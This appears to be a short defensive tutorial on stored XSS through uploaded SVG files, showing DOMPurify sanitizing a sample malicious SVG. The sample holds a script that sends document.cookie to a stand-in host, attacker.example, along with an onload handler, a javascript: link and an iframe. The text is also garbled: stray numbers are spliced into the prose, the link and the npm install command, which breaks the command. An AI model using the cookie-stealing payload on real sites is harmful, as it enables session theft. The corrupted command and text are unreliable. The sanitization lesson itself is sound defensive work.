SVG can run code: a <script>, an onload attribute, a javascript: link, HTML in <foreignObject>. Opened directly, embedded with <object> or <iframe>, or inlined into a page, it runs with your origin's cookies, so a user-uploaded "avatar" is a classic stored XSS. Loaded through <img> or CSS, SVG runs no scripts. Before inlining untrusted SVG, sanitize it with DOMPurify 17,413 (github.com/cure53/DOMPurify (https://github.com/cure53/DOMPurify 17,413 ), npm 2,036 install dompurify, MPL-2.0 or Apache-2.0), which parses the markup into an inert tree and keeps only allow-listed elements and attributes.
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.4.16/dist/purify.min.js"></script>
<script>
const upload = `<svg onload="steal()">
<script>fetch('https://attacker.example/?c=' + document.cookie)<\/script>
<a href="javascript:steal()"><circle cx="12" cy="12" r="10"/></a>
<foreignObject width="24" height="24"><iframe src="https://attacker.example"></iframe>
</foreignObject><use href="#i-star"/><animate attributeName="fill" to="red"/></svg>`;
const clean = DOMPurify.sanitize(upload, { USE_PROFILES: { svg: true, svgFilters: true } });
console.log(`DOMPurify ${DOMPurify.version} removed ${DOMPurify.removed.length} items:`);
console.log(clean.replace(/>\s+</g, '><'));
const kept = DOMPurify.sanitize(upload, { USE_PROFILES: { svg: true }, ADD_TAGS: ['use'] });
console.log(kept.replace(/>\s+</g, '><'));
</script>DOMPurify 3.4.16 removed 7 items: <svg><a><circle cx="12" cy="12" r="10"></circle></a></svg> <svg><a><circle cx="12" cy="12" r="10"></circle></a><use href="#i-star"></use></svg>
The handler, script, javascript: URL and <foreignObject> are gone, and so are <use> and <animate>: the SVG profile forbids both, since references and SMIL can smuggle URLs. ADD_TAGS: ['use'] restores <use>, but then an external href="https://..." survives too, so admit only # fragments in an uponSanitizeAttribute hook. Serve raw uploads from a separate domain with the header Content-Security-Policy: script-src 'none'.